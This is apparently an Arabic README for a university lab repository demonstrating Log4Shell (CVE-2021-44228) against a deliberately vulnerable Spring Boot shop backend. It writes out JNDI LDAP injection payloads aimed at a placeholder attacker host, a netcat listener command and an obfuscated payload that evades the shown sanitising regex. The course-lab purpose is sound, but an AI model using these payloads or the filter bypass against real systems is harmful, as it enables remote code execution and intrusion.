إثبات المفهوم لثغرة Log4Shell (TPAS)

يحتوي هذا المستودع على إثبات مفهوم (PoC) لثغرة Log4Shell (CVE-2021-44228)، الذي تم تطويره كجزء من متطلبات المادة الدراسية TPAS في درجة الماجستير في أمن المعلومات بجامعة FCUP.

يحتوي على:

• واجهة أمامية بتقنية React SPA تحاكي موقعًا عامًا للتجارة الإلكترونية مع ميزات أساسية مثل تصفح المنتجات وعرض التفاصيل الأساسية كالوصف والسعر والتقييم وغيرها، مقدمة عبر واجهة برمجة تطبيقات وهمية dummy json api https://dummyjson.com/docs/products
• واجهة خلفية REST API بتقنية Spring Boot تستخدم إصدارًا ضعيفًا من Log4j 2.14.
• سكريبت bash يقوم بإعداد معظم الجانب المهاجم اللازم لاستغلال Log4Shell.

لتشغيل هذه المجموعة، تحتاج إلى:

• على الجهاز الهدف:
  • تثبيت docker
  • استبدال <target_ip> في متغير البيئة NEXT_PUBLIC_BACKEND_URL في ملف docker-compose.yaml
  • تشغيل الأمر docker-compose up
• على جهاز المهاجم:
  • تثبيت java و python و maven
  • فتح المنافذ المطلوبة، استخدم "./init.sh --help" لرؤية المنافذ وما يفعله السكريبت
  • تشغيل السكريبت init.sh
  • تشغيل مستمع netcat، nc -lvnp

بمجرد تشغيل كل شيء:

ضع هذا الحمولة في شريط البحث (مشفرة URL لأنها ستكون في معامل استعلام GET):

%24%7Bjndi%3Aldap%3A%2F%2F<attacker_host_ip>%3A<ldap_port>%2FExploit%7D

أو ضع هذا الحمولة في ترويسات الطلب (يمكنك استخدام burp suite لاعتراض طلب وتعديله):

${jndi:ldap://<attacker_host_ip>:<ldap_port>/Exploit}

على الموقع، يوجد أيقونة بجانب اسم المستخدم تسمح بالتبديل بين تعقيم السلسلة المسجلة باستخدام التعبير النمطي \$\{jndi:.*?} أم لا. افتراضيًا، التعقيم معطل، ويمثله أيقونة شيطان أحمر. عند تفعيل التعقيم، تتغير الأيقونة إلى وجه مبتسم أخضر.

يمكن استخدام هذه الميزة لمحاكاة تجاوز جدار الحماية (WAF)، يمكنك إضافة تعبيرات نمطية أخرى في فئة LoggerManager.java في الواجهة الخلفية.

فيما يلي حمولة لن يطابقها التعبير النمطي الحالي:

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<attacker_host_ip>:<ldap_port>/Exploit}